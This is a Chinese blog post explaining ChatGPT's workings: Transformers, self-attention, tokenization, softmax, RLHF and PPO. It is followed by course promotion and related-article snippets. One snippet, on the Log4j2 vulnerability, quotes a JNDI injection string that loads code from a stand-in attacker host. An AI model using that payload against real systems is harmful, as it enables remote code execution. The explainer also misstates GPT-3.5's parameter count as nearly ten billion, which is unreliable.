终于弄明白了!ChatGPT原理大白话解析,看这一篇就够了

news2024/9/27 18:58:33

我们熟知,ChatGPT能聊天画图,能编程啃论文,那么,这个聊天机器人到底是怎么学会与人类交流的呢?

经过这段时间的琢磨+方神倾情板书输出讲解+回头翻阅各种资料,也终于明白了个大概,在这尽量给大家用我拙劣的语言说得明白些。

ChatGPT是怎么学习的?

先说说ChatGPT的核心部分:GPT(全称是Generative Pre-trained Transformer,里面的P和T我们一会儿会讲到),这是一个由OpenAI开发的大语言模型(LLM)。

接下来,理解ChatGPT的原理得先了解它的核心架构。ChatGPT的核心架构是Transformer(也就是ChatGPT中的T),一种神经网络架构。好比人类大脑的工作方式:神经网络由大量的“神经元”组成,这些神经元相互连接形成一个庞大的网络,经过学习和记忆大量的文本信息来理解生成复杂的人类语言。在这个网络结构里,**参数(Parameters)就像是模型的脑细胞,帮助模型记住和理解语言模式。参数越多,模型的表达能力就越强,就像一个人学的知识越多,思维就越丰富一样。**每个参数在模型中都有特定的作用。比如某些参数可能专门用于识别句子结构,另一些参数则是用于理解上下文关系,让模型能够捕捉细微的语言模式和复杂的语义关系

而GPT-3.5模型有近百亿个这样的参数,就像一个超级大脑。

( 这里补充讲讲ChatGPT用到的神经网络和之前有啥不同,对细节没兴趣的可略过此段:首先,**自注意力(Self-Attention)机制是Transformer模型中的核心。**Transformer架构是17 年谷歌团队发表的《Attention is All You Need》这篇论文引入的,这篇炸裂之作其实等于彻底改变了之前NLP模型的设计:现在在每一层中,模型使用自注意力机制(Self-Attention)来捕捉句子中单词之间的关系,理解上下文。它的原理就是把输入序列的每个元素转换为三种向量:查询(Query)、键(Key)、值(Value),然后每个元素的查询向量会与序列中其他所有元素的键向量进行点积运算,产生一个注意力分数(Attention Score)。这些分数决定了在生成输出时,每个元素应该给予其他元素多少“注意力”。**这种计算方式允许模型同时处理输入序列中的所有位置,从而捕捉距离远的单词或概念之间的关系,无论它们在文本中的位置如何。**这是与传统神经网络方法(如RNN或LSTM)最大的不同之处,对长文本的处理尤其受用,让模型可以高效并行处理数据。而以前的循环神经网络 (RNN) 是从左到右这么阅读的,也就是说,当相关的单词或概念在原文中彼此相邻时,这种方法还凑合,但当它们位于句子的两端时就很费劲了。就因为它必须按顺序阅读,导致阅读处理效率不高。)

聊完结构,接着来讲讲模型的预训练阶段,也就是ChatGPT中的P(pretraining)。

大模型的训练主要分为以下3个关键阶段:预训练微调优化,这三个阶段就好比大厨养成的几个关键步骤:先是大量阅读食谱和不同基础料理,然后针对某种菜系精修,最后不断通过食客的反馈精进厨艺。

在 GPT 出现之前,大多数 NLP 模型都是使用「监督学习」进行训练的,也就是依赖人工标注文本数据:比如给句子标注语法结构、命名实体、动物照片等等,这些类型的训练数据虽然有效,但制作成本极高,需要大量的人力和时间来标注数据。而GPT则通过无监督学习掌握语言的基本结构和语义,即通过输入大量互联网有记载的文本,比如各种网站、书籍资料、文章论坛等来理解字词语句之间的关系模式,就像一个小孩通过不断地听和读来学习说话和写作。(GPT4/4o的训练方式也类似,不过引入了多模态处理能力,能够学习和处理图像和音频等多种形式的数据)。

我们再来看看模型是怎么看懂句子的。

首先,模型对数字的理解力和处理效率更高。因此,模型会把一句话按照词或字符的边界进行切分(这就是分词的概念)比如,当你输入一个句子:我在一个月黑风高的夜晚,模型会首先将这个句子分成一个个独立的字符,这句话可以切分成‘一个’,‘月黑风高的’,‘夜晚’。然后每个字符都会被映射成一个唯一的数字ID,供模型记忆学习。然后,自注意力技术让模型能够自动注意到输入句子中最重要的部分。比如,在句子“我在一个月黑风高的夜晚”中,“月黑风高”和“夜晚”对于理解整个句子的语义很关键,自注意力机制会让模型自动特别关注这些词。

另外,ChatGPT还加入了位置编码,这是一种告诉模型每个词在句子中位置的方式。这样,模型就不仅知道了词的意义,还知道了它们在句子中的相对位置。

(在官网上可以尝试tokenize一句话,很直观地感受分词与字词的长度以及表现形式的不同)

**好了,重点来了!**ChatGPT到底是如何与我们进行“对话”的?

总的来说,其核心原理就是:预测下一个词!ChatGPT的核心任务非常直接——预测接下来会出现的词。

那么,ChatGPT是如何决定在一句话中下一个最合适的词是什么的?

当ChatGPT面对问题时,它的第一步是理解问题并决定如何回答。为了选择下一个词,它会从之前的训练中调用信息,预测哪些词最有可能构成一个合适、有信息量的回答。在ChatGPT中,每一步处理之后,模型会得到一个向量,这个向量包含了所有可能的下一个词的信息,**这时候,softmax函数就像是一个“智能转换器”,它的任务是将这些个词向量转换成一个概率分布。**这里就用到了概率分布的概念。

(非战斗人士可再次选择性撤离)

概率分布是一个统计术语,用来描述某件事发生的可能性。**简单来说,概率分布就是ChatGPT决定“接下来说什么”的一种计算方式。**softmax函数会将任何一组数值转换成概率分布,使得每个数值都被转换成一个介于0到1之间的概率,高分数的词将被转换为更高的概率,而低分数的词转换为更低的概率。

OK,怎么理解这个“转换”?这个转化是怎么发生的?

假设我们处理后得到的向量是一个数值列表,其中每个数值对应输入文本后可能跟随的一个词。例如,对于“今天天气真XX”,我们可能得到一个包含数千个分量的向量,每个分量对应词汇表中一个词。然后Softmax函数会查看这个向量的每个分量,然后用一个数学公式转换这些数值为概率。

这个公式大概长这样:

这个公式的意思就是,每个分量先被指数函数处理(作用是放大分量间的差异),然后通过所有处理过的分量的总和来归一化,确保所有的概率加起来是1。得到了这个概率分布后,模型就可以根据每个词的概率来选择下一个词,选择概率最高的词作为输出。

通过softmax函数处理后,每个词都有了一个明确的概率,表明它成为句子中下一个词的可能性。ChatGPT然后选择概率最高的词,将其添加到回答中。这个过程不断重复,直到整个回答构建完成。

这个函数把人类对回答的**“重要性”或“合适性”**的考量转换为具体的概率。

这种方法使得ChatGPT在提供回答时更加贴近人类的思维方式,同时也保证了生成回答的多样性和创造性。

但是,问题来了。

预训练完成后,如果你问ChatGPT一个具体的问题,比如“我怎么学习数据科学?”,它可能还是会给出不着调的答案,比如“你可以先学习数据再学习科学。”

那么,确保ChatGPT不给出太过于匪夷所思的答案就非常重要了!也就是需要确保ChatGPT不只是随机地猜测下一个单词,而是能生成更符合人类期望的回答。

这时候就需要进行微调(Fine-tuning)。

所以,为了让ChatGPT的回答更接近人类的期望,这里会使用一种叫做RLHF(Reinforcement Learning from Human Feedback,可以翻译成基于人类反馈的强化学习)的方法。简单来说,就是让一些“人类模型评委” 来问ChatGPT问题,然后根据这些回答的好坏进行评分,再利用这些评分来训练一个奖励模型。这个奖励模型会告诉ChatGPT哪些答案是好的,哪些是不好的,从而不断引导模型在未来给出更好的回答。

这个RLHF过程大致是这样的:首先,我们让ChatGPT根据它已有的训练生成一些回答。比如我们给它一个问题“如何学习Python编程?”

它可能生成多种不同的回答。

接下来,想象这些回答被展示给一群人类评估员,这些评估员会根据回答的相关性、准确性、可读性等方面给予评分。例如,如果ChatGPT给出的回答是“去报名一个编程课”,这可能会得到较高的评分;而如果它回答“去买台新电脑”,就会得到较低的评分。有了这些评分后,我们就可以构建一个奖励模型。**奖励模型的任务就是根据刚才这些人类评价的结果来学习判断哪些回答是好的,哪些是不好的。也就是把问题和回答扔进去,然后模型会模拟这些评委的偏好输出一个奖励分数,分数越高说明回答越符合人类的期望。**最后,再使用这个奖励模型来训练ChatGPT。在这个阶段每当ChatGPT生成一个回答,奖励模型都会评估这个回答并给出一个分数。然后,ChatGPT会根据这个分数来调整自己,周而复始。通过RLHF,ChatGPT就能慢慢从会“说”,到能够“沟通”。

这里简单展开解释一下RLHF常用算法PPO,非细节怪可再次选择性撤离

本段。。

PPO是一种在强化学习领域中十分流行的算法,特别适用于需要处理大量参数的复杂环境,如大规模语言模型和游戏AI等。**它能够帮助训练算法在探索(尝试新的行为)和利用(利用已知的行为)之间找到平衡,**常被用来解决策略梯度方法中策略更新步骤过大导致训练不稳定的问题。PPO是通过限制策略更新前后的差异来实现这一点,大概分为两种方法:

1. 截断的重要性采样(Clipped Surrogate Objective):PPO最常见的形式是使用一个截断的目标函数,这个函数会限制策略更新的步幅。简单来说,PPO算法会计算出一个“重要性权重”来反映新策略与旧策略的相对概率。然后,这个重要性权重会被“截断”,使得其值保持在一定的范围内(比如,0.8到1.2之间)。这种截断操作就保证了新策略不至于与旧策略差异太大,保证了大模型回答的稳定性。

**2. 自适应KL惩罚系数(Adaptive KL Penalty Coefficient):**另一种方法是通过在目标函数中加入一个KL散度项来直接控制策略更新。KL散度是一种度量两个概率分布差异的方法,通过调整KL散度的惩罚系数,可以精细控制策略更新的幅度,从而保持新旧策略之间的接近性。这两种方法都是为了确保新策略不会偏离旧策略太远,从而维持学习过程的稳定性。

另外,温度参数(Temperature Scaling)在生成模型中可以被用来控制输出的**随机性:**温度较高时,模型生成的回答会更加多样化但没那么准确;温度较低时,生成的回答会比较保守,也就是倾向于重复训练数据中常见的回答。调整温度可以帮助找到生成回答的“创造性”与“准确性”之间的平衡点。)

就好比在网抑云翻日推时,系统会确保推给你的歌尽量符合你的品味,也会偶尔在日推混入其他流派的好歌,保证一定的“推荐创新性。

以上,“预训练”,“微调”,“优化”三个阶段就是模型的工作重要过程,当模型不断在这三个阶段往复,ChatGPT也就能不断迭代,变快变好变强。

你可能已经发现,大模型生成输出的整个过程实际上就是在所有可能的输出上形成一个概率分布,所有可能的输出取决于当前的语料和认知。

回答的多样性也反映了现实世界的不确定性,这也是大模型幻觉不完全可控的原因。(果然,科学的尽头是玄学!)那么进一步想,如果训练数据中某些信息被有意过多表示,或者选择性缺失,模型就会固执地坚持错误的判断。—— 它并不是有意为之,而是因为它的“视界”被训练数据(认知)所左右了。

AI大模型学习福利

作为一名热心肠的互联网老兵,我决定把宝贵的AI知识分享给大家。 至于能学习到多少就看你的学习毅力和能力了 。我已将重要的AI大模型资料包括AI大模型入门学习思维导图、精品AI大模型学习书籍手册、视频教程、实战学习等录播视频免费分享出来。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

2024最新版CSDN大礼包:《AGI大模型学习资源包》免费分享

一、全套AGI大模型学习路线

AI大模型时代的学习之旅:从基础到前沿,掌握人工智能的核心技能!

img
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

2024最新版CSDN大礼包:《AGI大模型学习资源包》免费分享

二、640套AI大模型报告合集

这套包含640份报告的合集,涵盖了AI大模型的理论研究、技术实现、行业应用等多个方面。无论您是科研人员、工程师,还是对AI大模型感兴趣的爱好者,这套报告合集都将为您提供宝贵的信息和启示。

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

2024最新版CSDN大礼包:《AGI大模型学习资源包》免费分享

三、AI大模型经典PDF籍

随着人工智能技术的飞速发展,AI大模型已经成为了当今科技领域的一大热点。这些大型预训练模型,如GPT-3、BERT、XLNet等,以其强大的语言理解和生成能力,正在改变我们对人工智能的认识。 那以下这些PDF籍就是非常不错的学习资源。

img
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

2024最新版CSDN大礼包:《AGI大模型学习资源包》免费分享

四、AI大模型商业化落地方案

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

2024最新版CSDN大礼包:《AGI大模型学习资源包》免费分享

作为普通人,入局大模型时代需要持续学习和实践,不断提高自己的技能和认知水平,同时也需要有责任感和伦理意识,为人工智能的健康发展贡献力量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2170723.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大直径海油输油管测径仪的技术特点

关键字:海油输油管测径仪,输油管测径仪,海油管道测径仪,非接触测径仪,大直径测径仪, 大直径海油输油管测径仪的精度是确保海油管道直径测量准确性的关键因素,对于保障油气的顺畅传输与安全稳定具有重要意义。 大直径海油输油管测径仪的精度通常可以达到非常高的水平…

【算法系列-数组】移除元素 (双指针)

【算法系列-数组】移除元素 (双指针) 文章目录 【算法系列-数组】移除元素 (双指针)1. 算法分析🛸2. 删除有序数组中的重复性(LeetCode 26)2.1 解题思路🎯2.2 解题过程🎬2.3 代码举例🌰 3. 移动零(LeetCode 283)3.1 解题思路&…

【java数据结构】泛型

【java数据结构】泛型 一、包装类1.1 基本数据类型对应的包装类1.2 装箱和拆箱 二、泛型2.1 引出泛型2.2 什么是泛型2.3 语法2.3.1 泛型类2.3.2 泛型接口2.3.3 泛型方法 2.4 擦除机制2.5 泛型通配符2.5.1 <?>无限定的通配符2.5.2 <? extends T>上界的通配符2.5.3…

【算法篇】二叉树类(2)(笔记)

目录 一、Leetcode 题目 1. 左叶子之和 &#xff08;1&#xff09;迭代法 &#xff08;2&#xff09;递归法 2. 找树左下角的值 &#xff08;1&#xff09;广度优先算法 &#xff08;2&#xff09;递归法 3. 路径总和 &#xff08;1&#xff09;递归法 &#xff08;2…

移动端自适应/适配方案【详解】(含多种方案对比,推荐 viewport 方案,postcss-px-to-viewport-8-plugin 的使用等)

为什么移动端需要自适应/适配 &#xff1f; 因移动端 屏幕尺寸不同屏幕分辨率不同横竖屏 移动端自适应/适配方案 【必要】设置 meta 标签 <meta name"viewport" content"widthdevice-width, initial-scale1.0, maximum-scale1.0, user-scalable0">…

N930X音乐芯片,声光报警器语音方案:“您已进入警戒区域”

随着科技的飞速发展&#xff0c;城市规模不断扩大&#xff0c;人口密集度显著增加&#xff0c;各类安全隐患也随之而来。从商业楼宇到居民小区&#xff0c;从工业园区到交通枢纽&#xff0c;每一个角落都需要高效、可靠的安防系统来守护人们的生命财产安全。 声光报警器&#…

【ADC】SAR 型 ADC 和 ΔΣ ADC 的噪声源以及输入信号驱动和电压基准驱动电路

本文学习于TI 高精度实验室课程&#xff0c;简要介绍 SAR 型 ADC 和 ΔΣ ADC 的输入信号驱动和电压基准驱动电路&#xff0c;并介绍 SAR 和 Delta-Sigma 转换器的内在和外在噪声源。 文章目录 一、ADC 的外部噪声1.1 50/60 Hz 工频干扰1.2 混叠与抗混叠滤波器1.3 射频&#xf…

博主回归!数据结构篇启动

目录 1>>闲话 2>>数据结构前言 3>>复杂度的概念 4>>时间复杂度 5>>大O渐进表示法 6>>总结 1>>闲话 家人们好久不见&#xff0c;小编军训终于是结束了&#xff0c;大一事情太多了&#xff0c;这几天没时间健身&#xff0c;没时间…

WT2605C蓝牙语音芯片智能对话模型 人机互动 让机械设备更智能

随着人工智能技术的飞速发展&#xff0c;AI语音芯片在机械设备领域的应用日益广泛。WT2605C作为一款集成了在线TTS&#xff08;Text-To-Speech&#xff0c;文本到语音&#xff09;功能的蓝牙语音芯片&#xff0c;凭借其卓越的性能和广泛的应用前景&#xff0c;为机械设备产品带…

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)

漏洞描述&#xff1a; 当用户输入信息时&#xff0c;应用程序中的log4j 2组件会将信息记录到日志中 假如日志中包含有语句${jndi:ldap:attacker:1099/exp}&#xff0c;log4j就会去解析该信息&#xff0c;通过jndi的lookup() 方法去解析该url&#xff1a;ldap:attacker:1099/e…

vue-实现rtmp直播流

1、安装vue-video-player与videojs-flash npm install vue-video-player -S npm install videojs-flash --save 2、在main.js中引入 3、组件中使用 这样就能实现rtmp直播流在浏览器中播放&#xff0c;但有以下几点切记&#xff0c;不要入坑 1.安装vue-video-player插件一定…

Java.反射

目录 1.获取class 的三种方式 2.利用反射获取构造方法 3.利用反射获取成员变量 4.利用反射获取成员方法 1.获取class 的三种方式 全类名怎么找? 全类名报名&#xff0b;类名 package MyReflect;public class Student {private String id;private String name;private int…

LeetCode Hot100 C++ 哈希 1.两数之和

LeetCode Hot100 C 1.两数之和 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案&#xff0c;并且你不能使用两次相同的元素。 你可以按…

HTML5实现唐朝服饰网站模板源码

文章目录 1.设计来源1.1 网站首页-界面效果1.2 唐装演变-界面效果1.3 唐装配色-界面效果1.4 唐装花纹-界面效果1.5 唐装文化-界面效果 2.效果和源码2.1 动态效果2.2 源代码 源码下载万套模板&#xff0c;程序开发&#xff0c;在线开发&#xff0c;在线沟通 作者&#xff1a;xcL…

【DP解密多重背包问题】:优化策略与实现

文章目录 什么是多重背包问题&#xff1f;多重背包问题的数学模型 例题多重背包问题Ⅰ多重背包问题Ⅱ 总结 什么是多重背包问题&#xff1f; 多重背包问题是一个经典的组合优化问题。与标准背包问题不同&#xff0c;在多重背包问题中&#xff0c;每种物品可以选择多个&#xf…

数据链路层之以太网

目录 ​前言 什么是以太网&#xff1f; 以太网帧格式 6位源地址和目的地址 什么是MAC地址&#xff1f; MAC地址和IP地址的区别 2位类型 ARP协议 ARP协议的作用 ARP协议的工作流程 数据长度 MTU对IP协议的影响 CRC校验和 前言 在前面&#xff0c;我们已经讲了在TC…

安卓好软-----手机屏幕自动点击工具 无需root权限

工具可以设置后自动点击屏幕。可以用于一些操作。例如自动刷视频等等哦 工具介绍 一款可以帮你实现自动操作的软件。软件中你可以根据实际需要设置点击位置&#xff0c;可以是屏幕上的特定位置&#xff0c;也可以是按钮或控件。功能非常强大&#xff0c;但是操作非常简单&…

7个不为人知的实用软件推荐

今天再给大家分享7款不常被提及但又很好用的小众宝藏软件&#xff0c;强大实用&#xff0c;值得被更多的人看见&#xff01; 1.向日葵——电脑远程控制 下载链接&#xff1a;https://sunlogin.oray.com/ 对于很多电脑小白来说&#xff0c;其实很多软件安装、电脑调试之类的操…

Leetcode面试经典150题-383.赎金信

给你两个字符串&#xff1a;ransomNote 和 magazine &#xff0c;判断 ransomNote 能不能由 magazine 里面的字符构成。 如果可以&#xff0c;返回 true &#xff1b;否则返回 false 。 magazine 中的每个字符只能在 ransomNote 中使用一次。 示例 1&#xff1a; 输入&#…

联宇集团:如何利用CRM实现客户管理精细化与业务流程高效协同

在全球化的浪潮中&#xff0c;跨境电商正成为国际贸易的新引擎。作为领先的跨境电商物流综合服务商&#xff0c;广东联宇物流有限公司(以下称“联宇集团”)以其卓越的物流服务和前瞻的数字化战略&#xff0c;在全球市场中脱颖而出。本文将基于联宇集团搭建CRM系统的实际案例&am…